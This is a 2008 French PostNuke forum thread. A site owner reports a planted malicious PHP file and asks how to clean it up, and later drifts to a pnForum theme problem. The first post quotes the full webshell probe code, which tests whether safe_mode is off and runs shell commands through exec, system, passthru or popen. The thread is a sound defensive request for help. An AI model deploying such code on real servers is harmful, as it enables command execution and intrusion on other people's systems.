Attaque zombie sur PN .764
Auteur Sujet

Post 
Bojour à tous,

J'ai un gros soucis de sécurité. Un fichier nommé ftp.txt, contenant le code malvaillant suivant à été positionné dans le répertoire /modules/Downloads/screenshots :

  1. <?php  
  2. if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){  
  3. $contrs=0;  
  4. }  
  5. else{  
  6. ini_restore("safe_mode");  
  7. ini_restore("open_basedir");  
  8. if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){  
  9. $contrs=0;}  
  10. else{  
  11. $contrs=1;  
  12. }}  
  13.  
  14. if($contrs == 0){  
  15. echo("FUCKSAFEMODEOFFBYMIC22");  
  16. }else{  
  17. echo("FUCKSAFEMODEONBYMIC22");  
  18. }  
  19.  
  20. function ex($cfe){  
  21. $res = '';  
  22. if (!empty($cfe)){  
  23. if(function_exists('exec')){  
  24. @exec($cfe,$res);  
  25. $res = join("\n",$res);  
  26. }  
  27. elseif(function_exists('shell_exec')){  
  28. $res = ;@shell_exec($cfe);  
  29. }  
  30. elseif(function_exists('system')){  
  31. @ob_start();  
  32. @system($cfe);  
  33. $res = ;@ob_get_contents();  
  34. @ob_end_clean();  
  35. }  
  36. elseif(function_exists('passthru')){  
  37. @ob_start();  
  38. @passthru($cfe);  
  39. $res = ;@ob_get_contents();  
  40. @ob_end_clean();  
  41. }  
  42. elseif(@is_resource($f = ;@popen($cfe,"r"))){  
  43. $res = "";  
  44. while(!@feof($f)) { $res .= ;@fread($f,1024); }  
  45. @pclose($f);  
  46. }}  
  47. return $res;  
  48. }  
  49. exit;  


Quel traîtement dois-je appliquer à ce problème, et comment m'en protéger dans le futur ?

Merci d'avance pour l'aide !!!

modifié par : zmimi83, 25 Jan 2008 - 11:45
Données personnelles

Post 
Sais-tu de quelle manière il a été positionné ?

Que contient d'autes le dossier /modules/Downloads/screenshots ?

Normalement avec une extention .txt, tu ne peux pas faire grand chose.

Si tu as des uploads possible sur le site, peut-être faut-il les renforcer (membres seulement etc...)


Gilles  ><>°
Données personnelles Accueil

Post 
Bonjour Gilles,

J'ai vérifié les logs ftp, il ne semble pas que cela soit par là que cela soit passé !

Le répertoire incriminé ne contient rien d'autre que ce fichier.

J'ai carrément viré le module Download dont je ne me sert pas ! Est-ce que cela va suffire ?

Merci d'avance !


modifié par : zmimi83, 25 Jan 2008 - 14:29
Données personnelles

Post 
Bonjour Gilles,

J'ai vérifié les logs ftp, il ne semble pas que cela soit par là que cela soit passé !

Le répertoire incriminé ne contient rien d'autre que ce fichier.

J'ai carrément viré le module Download dont je ne me sers pas ! Est-ce que cela va suffire ?

Merci d'avance !




modifié par : zmimi83, 25 Jan 2008 - 14:31
Données personnelles

Post 
Citation :

J'ai carrément viré le module Download dont je ne me sers pas ! Est-ce que cela va suffire ?


Si la faille vient du module download oui...

Par contre si tu as les access.log et / ou error.log ca pourra donner des pistes !

++


Gilles  ><>°
Données personnelles Accueil
Post 
Bon !

Je crois que j'ai trouvé ! Il semblerait que tout vienne du fait que j'utilisais PNphpBB2 !

Du coup, j'ai migré vers pnForum !

Mais en mettant à jour ce module vers sa version 2.7.1, et que le thème de mon PN 7.64 est un Autotheme, il m'a fallu installer un theme pour pnForum. Le problème est que celui-ci semble ne pas être complet !

Quand je vais sur "Derniers posts", ou bien dans "Profil", je n'ai plus de mise en page, la présentation est brute !

Voir un exemple ici :

http://www.modem56.fr/index.php?module=pnForum&func=viewlatest

Si quelqu'un connait une solution, je suis preneur !!!

Merci d'avance
Données personnelles